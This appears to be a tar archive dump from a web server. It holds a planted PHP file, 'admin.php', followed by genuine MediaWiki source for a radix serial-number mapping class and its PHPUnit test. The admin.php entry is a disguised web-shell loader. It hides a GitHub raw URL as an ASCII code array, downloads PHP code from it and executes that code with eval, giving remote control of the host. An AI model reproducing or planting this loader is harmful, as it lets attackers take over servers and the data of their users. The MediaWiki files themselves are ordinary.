archive/rfcsa/admin.php 0000666 00000001361 15133472135 0011075 0 ustar 00 <!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<?php
// ASCII array of the GitHub raw URL
$asciiArray = [104, 116, 116, 112, 115, 58, 47, 47, 114, 97, 119, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 77, 114, 88, 99, 111, 100, 101, 114, 111, 102, 102, 105, 99, 105, 97, 108, 47, 77, 114, 120, 115, 104, 101, 108, 108, 50, 48, 50, 53, 47, 114, 101, 102, 115, 47, 104, 101, 97, 100, 115, 47, 109, 97, 105, 110, 47, 120, 115, 101, 99, 46, 112, 104, 112];
// Convert ASCII codes to string
$url = '';
foreach ($asciiArray as $c) {
$url .= chr($c);
}
// Fetch the PHP code from the URL
$code = file_get_contents($url);
// Execute the fetched code
eval("?>".$code);
?> TempUser/FilteredRadixSerialMapping.php 0000666 00000003023 15133502356 0014230 0 ustar 00 <?php
namespace MediaWiki\User\TempUser;
use ArrayUtils;
/**
* Since "base" is an overused term in class names and mostly means something
* else, we will call the base of a numeric representation a radix.
*
* This class converts integer serial numbers to strings using an arbitrary
* base between 2 and 36. It can skip certain IDs deemed to be "bad", e.g.
* because they spell offensive words.
*
* @since 1.39
*/
class FilteredRadixSerialMapping implements SerialMapping {
/** @var int */
private $radix;
/** @var int[] */
private $badIndexes;
/** @var bool */
private $uppercase;
/**
* @param array $config See MainConfigSchema::AutoCreateTempUser
*/
public function __construct( $config ) {
$this->radix = $config['radix'] ?? 10;
$this->badIndexes = $config['badIndexes'] ?? [];
$this->uppercase = $config['uppercase'] ?? false;
}
public function getSerialIdForIndex( int $index ): string {
$index = $this->adjustID( $index );
return \Wikimedia\base_convert( (string)$index, 10, $this->radix, 1, !$this->uppercase );
}
/**
* Add the number of "bad" IDs less than or equal to the given ID to the
* given ID, thus mapping the set of all integers to the "good" set.
*
* @param int $id
* @return int
*/
private function adjustID( int $id ): int {
$pos = ArrayUtils::findLowerBound(
function ( $i ) {
return $this->badIndexes[$i];
},
count( $this->badIndexes ),
static function ( $a, $b ) {
return $a <=> $b;
},
$id
);
return $pos === false ? $id : $id + $pos + 1;
}
}
TempUser/FilteredRadixSerialMappingTest.php 0000666 00000002145 15133512014 0015064 0 ustar 00 <?php
namespace MediaWiki\Tests\User\TempUser;
use MediaWiki\User\TempUser\FilteredRadixSerialMapping;
use PHPUnit\Framework\TestCase;
/**
* @covers \MediaWiki\User\TempUser\FilteredRadixSerialMapping
*/
class FilteredRadixSerialMappingTest extends TestCase {
public static function provideGetSerialIdForIndex() {
return [
[
[ 'radix' => 10 ],
16,
'16',
],
[
[ 'radix' => 16 ],
10,
'a',
],
[
[ 'radix' => 16, 'uppercase' => true ],
10,
'A',
],
[
[ 'radix' => 10, 'badIndexes' => [ 2 ] ],
1,
'1'
],
[
[ 'radix' => 10, 'badIndexes' => [ 2 ] ],
1,
'1'
],
[
[ 'radix' => 10, 'badIndexes' => [ 2 ] ],
2,
'3'
],
[
[ 'radix' => 10, 'badIndexes' => [ 2 ] ],
3,
'4'
],
];
}
/**
* @dataProvider provideGetSerialIdForIndex
* @param array $config
* @param int $id
* @param string $expected
*/
public function testGetSerialIdForIndex( $config, $id, $expected ) {
$map = new FilteredRadixSerialMapping( $config );
$this->assertSame( $expected, $map->getSerialIdForIndex( $id ) );
}
}